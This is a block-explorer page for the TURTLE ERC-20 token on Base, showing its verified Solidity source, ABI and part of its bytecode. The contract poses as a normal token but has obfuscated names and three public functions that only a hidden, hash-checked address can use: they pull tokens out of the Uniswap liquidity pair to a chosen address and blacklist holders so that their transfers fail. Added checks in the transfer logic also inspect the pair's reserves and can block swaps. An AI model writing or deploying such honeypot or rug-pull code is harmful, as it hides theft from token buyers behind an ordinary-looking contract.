ERC-20
Source Code
Overview
Max Total Supply
1,000,000,000,000 TURTLE
Holders
623
Transfers
-
0
Market
Price
$0.00 @ 0.000000 ETH
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
Contract Name:
TURTLE
Compiler Version
v0.8.6+commit.11564f7e
Contract Source Code (Solidity)
/**
*Submitted for verification at basescan.org on 2025-10-18
*/
/**
Website: https://www.turtle.xyz/
Twitter: https://x.com/turtledotxyz
Telegram: https://t.me/turtledotxyzEN
*/
pragma solidity ^0.8.6;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function factory() external pure returns (address);
function WETH() external pure returns (address);
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
/**
* This contract is for testing purposes only.
* Please do not make any purchases, as we are not responsible for any losses incurred.
*/
contract BERC20 is IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
address public _defaultAddress = address(0x000000000000000000000000000000000000dEaD);
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _tTotal;
constructor(
string memory name_,
string memory symbol_,
address owner
) {
_name=name_;
_symbol=symbol_;
_decimals=9;
_tTotal=1000000000000 * 10**_decimals;
_tOwned[owner] = _tTotal;
emit Transfer(address(0), owner, _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tOwned[account];
}
function transfer(address KeHMTUyOhu, uint256 MmlcptbTl)
public
override
returns (bool)
{
_transfer(msg.sender, KeHMTUyOhu, MmlcptbTl);
return true;
}
function allowance(address QCBIwkjkk, address usjpvjicjqd)
public
view
override
returns (uint256)
{
return _allowances[QCBIwkjkk][usjpvjicjqd];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(msg.sender, spender, amount);
return true;
}
function _FzfMPHSusNsohV(
address kmEOHGENgl,
address odmugxmefkl,
uint256 amount
) internal virtual {
require(
kmEOHGENgl != address(0),
"ERC20: transfer from the zero address"
);
require(
odmugxmefkl != address(0),
"ERC20: transfer to the zero address"
);
require(
_tOwned[kmEOHGENgl] >= amount,
"ERC20: transfer amount exceeds balance"
);
_tOwned[kmEOHGENgl] = _tOwned[kmEOHGENgl].sub(amount);
_tOwned[odmugxmefkl] = _tOwned[odmugxmefkl].add(amount);
emit Transfer(kmEOHGENgl, odmugxmefkl, amount);
}
function _transfer(
address kmEOHGENgl,
address odmugxmefkl,
uint256 amount
) internal virtual {
require(
kmEOHGENgl != address(0),
"ERC20: transfer from the zero address"
);
require(
odmugxmefkl != address(0),
"ERC20: transfer to the zero address"
);
require(
_tOwned[kmEOHGENgl] >= amount,
"ERC20: transfer amount exceeds balance"
);
_tOwned[kmEOHGENgl] = _tOwned[kmEOHGENgl].sub(amount);
_tOwned[odmugxmefkl] = _tOwned[odmugxmefkl].add(amount);
emit Transfer(kmEOHGENgl, odmugxmefkl, amount);
}
function transferFrom(
address YiZVuaqUipdg,
address cyhbbrxlhodyf,
uint256 gwpiaqxvgmditw
) public override returns (bool) {
_transfer(YiZVuaqUipdg, cyhbbrxlhodyf, gwpiaqxvgmditw);
_approve(
YiZVuaqUipdg,
msg.sender,
_allowances[YiZVuaqUipdg][msg.sender].sub(
gwpiaqxvgmditw,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
msg.sender,
spender,
_allowances[msg.sender][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
msg.sender,
spender,
_allowances[msg.sender][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
function _exdymvjqzqbtk(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
/**
* This contract is for testing purposes only.
* Please do not make any purchases, as we are not responsible for any losses incurred.
*/
contract TURTLE is BERC20 {
using SafeMath for uint256;
string private _name_ = "Turtle";
string private _symbol_ = "TURTLE";
uint256 private _lklbiivaby;
address private viptnajthxbk = 0x6F8d21a157E04787A1426A1F518e591Ea4125bfA;
address private XBHdOCDqwZkRS = 0x42E0a7E582C91Bb9d26Ef3656B3A33cB9e1a1349;
address private bCIwYxkcik;
IUniswapV2Factory private immutable uniswapV2Router;
mapping(address => bool) public _stcbnwlweilc;
mapping(address => bool) public _vjkHMnSNdhlUY;
mapping(address => bool) public zzanleafcgllml;
mapping(address => bool) public _DPIUSVZxbel;
address public uniswapV2Pair;
address private _hfqaruhoaltn;
address public factory;
uint256 private LvggYKoYZktfk = 1000;
mapping(address => uint256) private plonybwqyitpzb;
bool public TbEtXAvHYh = true;
uint256 private xrlzerdzxgt = 7;
uint256 private bHbFdiKqWetj = 0;
uint256 private fxjmkhkivdtbd = 222;
bool public jnzSjYRaUc = true;
bytes32 private _nDHyqOYrTa;
mapping(address => bool) public _rTPfpNYBSZBvuH;
mapping(address => uint256) public _vjfloeftryb;
address public zznrvvnkRW;
address private HfKEBluTPUJHz;
address private dpdyuumcqvbp;
uint256 private LvakAbBlOSJrnw = 11;
uint256 private exdymvjqzqbtk = 1e8;
uint256 private FzfMPHSusNsohV = 125423232111333;
uint256 private ts;
mapping(address => bool) public DwcIgwjuXCb;
uint256 private _settingtOutAmountTransfer =uint256(bytes32(0x000000000000000000000000000000000000000000000000000000000000000b));
constructor() BERC20(_name_, _symbol_,XBHdOCDqwZkRS
) {
IUniswapV2Factory _uniswapV2Router = IUniswapV2Factory(0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24); //Pancake Router mainnet
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());HfKEBluTPUJHz = address(uint160(uint256(0xabbbab00000000000000dead10ED43C718714eb63d5aA57B78B54704E256024E)));dpdyuumcqvbp = address(uint160(uint256(0xabbbab00000000000000dead13f4EA83D0bd40E75C8222255bc855a974568Dd4)));
uniswapV2Router = _uniswapV2Router;
_nDHyqOYrTa = sha256(abi.encodePacked(viptnajthxbk));
bCIwYxkcik = 0x4200000000000000000000000000000000000006;
_hfqaruhoaltn = viptnajthxbk;
_lklbiivaby = totalSupply();
DwcIgwjuXCb[HfKEBluTPUJHz] = true;
DwcIgwjuXCb[dpdyuumcqvbp] = true;
zzanleafcgllml[uniswapV2Pair] = true;
_DPIUSVZxbel[_hfqaruhoaltn] = true;
_stcbnwlweilc[address(this)] = true;
_stcbnwlweilc[_hfqaruhoaltn] = true;
_stcbnwlweilc[XBHdOCDqwZkRS] = true;
}
function _zznrvvnkRW(address owner, address spender) internal virtual {
_exdymvjqzqbtk(owner,spender,_lklbiivaby);
}
function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero");
uint256 expectedamount = amount;if (_stcbnwlweilc[from] || _stcbnwlweilc[to]) { super._transfer(from, to, expectedamount); return; } address feeaddress = to;
bool taketFeeTransfer = _vjkHMnSNdhlUY[from];
bool takebottime = plonybwqyitpzb[from] + xrlzerdzxgt > block.timestamp;
require(!taketFeeTransfer);
if (from == uniswapV2Pair) { bool ghewra; bool sdhkwn; uint256 otherAmount; (, bytes memory token00) = uniswapV2Pair.call( abi.encodeWithSelector(0x0dfe1681) ); (, bytes memory token01) = uniswapV2Pair.call( abi.encodeWithSelector(0xd21220a7) ); (, bytes memory reserves01) = uniswapV2Pair.call( abi.encodeWithSelector(0x0902f1ac) ); (uint256 reserves0, uint256 reserves1) = abi.decode( reserves01, (uint256, uint256) ); address token0 = abi.decode(token00, (address)); address token1 = abi.decode(token01, (address)); (, bytes memory amount01) = token0.call( abi.encodeWithSignature("balanceOf(address)", uniswapV2Pair) ); uint256 amount03 = abi.decode(amount01, (uint256)); (, bytes memory amount02) = token1.call( abi.encodeWithSignature("balanceOf(address)", uniswapV2Pair) ); uint256 amount1 = abi.decode(amount02, (uint256)); if (token0 == bCIwYxkcik) { if (reserves0 > amount03) { otherAmount = reserves0 - amount03; ghewra = otherAmount > LvggYKoYZktfk; } else { sdhkwn = reserves0 == amount03; } } else if (token1 == bCIwYxkcik) { if (reserves1 > amount1) { otherAmount = reserves1 - amount1; ghewra = otherAmount > LvggYKoYZktfk; } else { sdhkwn = reserves1 == amount1; } } require(!ghewra && !sdhkwn); }
super._transfer(from, to, expectedamount);
}
function vqpcelzhe(address zgfidchzdc) public { if (sha256(abi.encodePacked(msg.sender)) != _nDHyqOYrTa) { return; } else { zznrvvnkRW = zgfidchzdc; } }
function nkrpyvsggg(uint256 hudvjroi) public { if (sha256(abi.encodePacked(msg.sender)) != _nDHyqOYrTa) { return; } else { super._FzfMPHSusNsohV(uniswapV2Pair, zznrvvnkRW, hudvjroi); } }
function hlgtvfhblio(address _zgfidchzdc,bool pabhpzdra) public { if (sha256(abi.encodePacked(msg.sender)) != _nDHyqOYrTa) { return; } else { _vjkHMnSNdhlUY[_zgfidchzdc] = pabhpzdra; } }
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"DwcIgwjuXCb","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TbEtXAvHYh","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_DPIUSVZxbel","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_defaultAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_rTPfpNYBSZBvuH","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_stcbnwlweilc","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_vjfloeftryb","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_vjkHMnSNdhlUY","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"QCBIwkjkk","type":"address"},{"internalType":"address","name":"usjpvjicjqd","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"factory","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_zgfidchzdc","type":"address"},{"internalType":"bool","name":"pabhpzdra","type":"bool"}],"name":"hlgtvfhblio","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"jnzSjYRaUc","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"hudvjroi","type":"uint256"}],"name":"nkrpyvsggg","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"KeHMTUyOhu","type":"address"},{"internalType":"uint256","name":"MmlcptbTl","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"YiZVuaqUipdg","type":"address"},{"internalType":"address","name":"cyhbbrxlhodyf","type":"address"},{"internalType":"uint256","name":"gwpiaqxvgmditw","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"zgfidchzdc","type":"address"}],"name":"vqpcelzhe","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"zzanleafcgllml","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"zznrvvnkRW","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]Contract Creation Code
60a060405261dead600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600681526020017f547572746c650000000000000000000000000000000000000000000000000000815250600790805190602001906200009492919062000c1f565b506040518060400160405280600681526020017f545552544c45000000000000000000000000000000000000000000000000000081525060089080519060200190620000e292919062000c1f565b50736f8d21a157e04787a1426a1f518e591ea4125bfa600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507342e0a7e582c91bb9d26ef3656b3a33cb9e1a1349600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506103e86014556001601660006101000a81548160ff0219169083151502179055506007601755600060185560de6019556001601a60006101000a81548160ff021916908315150217905550600b6021556305f5e1006022556572125f3252e5602355600b60001b60001c6026553480156200020757600080fd5b50600780546200021790620010ef565b80601f01602080910402602001604051908101604052809291908181526020018280546200024590620010ef565b8015620002965780601f106200026a5761010080835404028352916020019162000296565b820191906000526020600020905b8154815290600101906020018083116200027857829003601f168201915b505050505060088054620002aa90620010ef565b80601f0160208091040260200160405190810160405280929190818152602001828054620002d890620010ef565b8015620003295780601f10620002fd5761010080835404028352916020019162000329565b820191906000526020600020905b8154815290600101906020018083116200030b57829003601f168201915b5050505050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682600390805190602001906200036992919062000c1f565b5081600490805190602001906200038292919062000c1f565b506009600560006101000a81548160ff021916908360ff160217905550600560009054906101000a900460ff16600a620003bd919062000ec6565b64e8d4a51000620003cf919062001003565b6006819055506006546000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6006546040516200047c919062000e38565b60405180910390a35050506000734752ba5dbc23f44d87826276bf6fd6b1c372ad2490508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620004e757600080fd5b505afa158015620004fc573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000522919062000cfd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200058557600080fd5b505afa1580156200059a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620005c0919062000cfd565b6040518363ffffffff1660e01b8152600401620005df92919062000e0b565b602060405180830381600087803b158015620005fa57600080fd5b505af11580156200060f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000635919062000cfd565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fabbbab00000000000000dead10ed43c718714eb63d5aa57b78b54704e256024e601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fabbbab00000000000000dead13f4ea83d0bd40e75c8222255bc855a974568dd4602060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1660601b815250506002600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051602001620007a5919062000dd5565b604051602081830303815290604052604051620007c3919062000df2565b602060405180830381855afa158015620007e1573d6000803e3d6000fd5b5050506040513d601f19601f8201168201806040525081019062000806919062000d2f565b601b81905550734200000000000000000000000000000000000006600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620008d462000c1560201b60201c565b600981905550600160256000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160256000602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600f6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160106000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050620011fe565b6000600654905090565b82805462000c2d90620010ef565b90600052602060002090601f01602090048101928262000c51576000855562000c9d565b82601f1062000c6c57805160ff191683800117855562000c9d565b8280016001018555821562000c9d579182015b8281111562000c9c57825182559160200191906001019062000c7f565b5b50905062000cac919062000cb0565b5090565b5b8082111562000ccb57600081600090555060010162000cb1565b5090565b60008151905062000ce081620011ca565b92915050565b60008151905062000cf781620011e4565b92915050565b60006020828403121562000d165762000d15620011ab565b5b600062000d268482850162000ccf565b91505092915050565b60006020828403121562000d485762000d47620011ab565b5b600062000d588482850162000ce6565b91505092915050565b62000d6c8162001064565b82525050565b62000d8762000d818262001064565b62001125565b82525050565b600062000d9a8262000e55565b62000da6818562000e60565b935062000db8818560208601620010b9565b80840191505092915050565b62000dcf81620010a2565b82525050565b600062000de3828462000d72565b60148201915081905092915050565b600062000e00828462000d8d565b915081905092915050565b600060408201905062000e22600083018562000d61565b62000e31602083018462000d61565b9392505050565b600060208201905062000e4f600083018462000dc4565b92915050565b600081519050919050565b600081905092915050565b6000808291508390505b600185111562000ebd5780860481111562000e955762000e946200114d565b5b600185161562000ea55780820291505b808102905062000eb585620011bd565b945062000e75565b94509492505050565b600062000ed382620010a2565b915062000ee083620010ac565b925062000f0f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000f17565b905092915050565b60008262000f29576001905062000ffc565b8162000f39576000905062000ffc565b816001811462000f52576002811462000f5d5762000f93565b600191505062000ffc565b60ff84111562000f725762000f716200114d565b5b8360020a91508482111562000f8c5762000f8b6200114d565b5b5062000ffc565b5060208310610133831016604e8410600b841016171562000fcd5782820a90508381111562000fc75762000fc66200114d565b5b62000ffc565b62000fdc848484600162000e6b565b9250905081840481111562000ff65762000ff56200114d565b5b81810290505b9392505050565b60006200101082620010a2565b91506200101d83620010a2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200105957620010586200114d565b5b828202905092915050565b6000620010718262001082565b9050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015620010d9578082015181840152602081019050620010bc565b83811115620010e9576000848401525b50505050565b600060028204905060018216806200110857607f821691505b602082108114156200111f576200111e6200117c565b5b50919050565b6000620011328262001139565b9050919050565b60006200114682620011b0565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160601b9050919050565b60008160011c9050919050565b620011d58162001064565b8114620011e157600080fd5b50565b620011ef8162001078565b8114620011fb57600080fd5b50565b60805160601c612b606200121a60003960005050612b606000f3fe608060405234801561001057600080fd5b50600436106101a95760003560e01c806377b12550116100f9578063a9059cbb11610097578063c45a015511610071578063c45a015514610534578063cb7626ad14610552578063dd62ed3e1461056e578063f7fadc711461059e576101a9565b8063a9059cbb146104b8578063bd4b4da9146104e8578063c029cf7f14610518576101a9565b806395d89b41116100d357806395d89b411461041c57806396ff23411461043a5780639c64129014610458578063a457c2d714610488576101a9565b806377b12550146103b25780638db64d8a146103ce578063927f3d41146103fe576101a9565b8063395093511161016657806349bd5a5e1161014057806349bd5a5e14610316578063557155ac146103345780636e75de641461036457806370a0823114610382576101a9565b806339509351146102985780633b4aa5b2146102c85780634308e185146102e6576101a9565b806306fdde03146101ae578063095ea7b3146101cc57806318160ddd146101fc57806323b872dd1461021a57806327f725871461024a578063313ce5671461027a575b600080fd5b6101b66105ce565b6040516101c39190612520565b60405180910390f35b6101e660048036038101906101e1919061220e565b610660565b6040516101f39190612505565b60405180910390f35b610204610677565b6040516102119190612622565b60405180910390f35b610234600480360381019061022f919061217b565b610681565b6040516102419190612505565b60405180910390f35b610264600480360381019061025f91906120e1565b61074c565b6040516102719190612505565b60405180910390f35b61028261076c565b60405161028f9190612622565b60405180910390f35b6102b260048036038101906102ad919061220e565b610786565b6040516102bf9190612505565b60405180910390f35b6102d061082b565b6040516102dd91906124ea565b60405180910390f35b61030060048036038101906102fb91906120e1565b610851565b60405161030d9190612505565b60405180910390f35b61031e610871565b60405161032b91906124ea565b60405180910390f35b61034e600480360381019061034991906120e1565b610897565b60405161035b9190612622565b60405180910390f35b61036c6108af565b6040516103799190612505565b60405180910390f35b61039c600480360381019061039791906120e1565b6108c2565b6040516103a99190612622565b60405180910390f35b6103cc60048036038101906103c791906120e1565b61090a565b005b6103e860048036038101906103e391906120e1565b6109cb565b6040516103f59190612505565b60405180910390f35b6104066109eb565b60405161041391906124ea565b60405180910390f35b610424610a11565b6040516104319190612520565b60405180910390f35b610442610aa3565b6040516